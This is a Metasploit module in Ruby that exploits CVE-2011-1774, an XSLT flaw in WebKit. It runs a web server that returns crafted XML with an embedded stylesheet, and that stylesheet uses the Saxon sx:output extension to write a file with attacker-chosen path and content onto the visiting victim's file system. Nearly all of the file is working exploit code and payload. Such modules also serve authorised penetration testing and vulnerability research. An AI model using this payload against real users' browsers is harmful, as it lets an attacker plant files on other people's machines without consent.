##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Cross Platform Webkit File Dropper',
'Description' => %q{
This module exploits a XSLT vulnerability in Webkit to drop ASCII or UTF-8
files to the target file-system. By default, the file will be dropped in
C:\Program Files\
},
'Author' => [ 'Nicolas Gregoire' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-1774' ]
],
'Actions' =>
[
[ 'WebServer', 'Description' => 'Serve exploit via web server' ]
],
'PassiveActions' =>
[
'WebServer'
],
'DefaultAction' => 'WebServer'))
register_options(
[
OptString.new('REMOTE_PATH', [ true, "Location of the remote file", 'flag.txt' ]),
OptString.new('REMOTE_CONTENT', [ true, "Content of the remote file", 'Hello from CVE-2011-1774' ])
])
end
def on_request_uri(cli, request)
path = datastore['REMOTE_PATH']
content = datastore['REMOTE_CONTENT']
html = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?>
<!-- Define the DTD of the document
This is needed, in order to later reference the XSLT stylesheet by a #fragment
This trick allows to have both the XML and the XSL in the same file
Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
<!DOCTYPE doc [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED
>]>
<doc>
<!-- Define location and content of the file -->
<path><![CDATA[#{path}]]></path>
<content><![CDATA[#{content}]]></content>
<!-- The XSLT stylesheet header, including the "sx" extension -->
<xsl:stylesheet id="fragment" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:sx="http://icl.com/saxon"
extension-element-prefixes="sx"
xmlns="http://www.w3.org/1999/xhtml" >
<xsl:output method="xml" indent="yes" />
<!-- The XSLT template -->
<xsl:template match="/">
<!-- Create the file -->
<xsl:variable name="path" select="//path/text()"/>
<sx:output file="{$path}" method="text">
<xsl:value-of select="//content"/>
</sx:output>
<!-- Send some output to the browser -->
<html> </html>
</xsl:template>
</xsl:stylesheet>
</doc>
EOS
print_status("Sending XSLT payload ...")
print_status("Destination file : #{path}")
send_response_html(cli, html, { 'Content-Type' => 'application/xml' })
end
def run
exploit()
end
end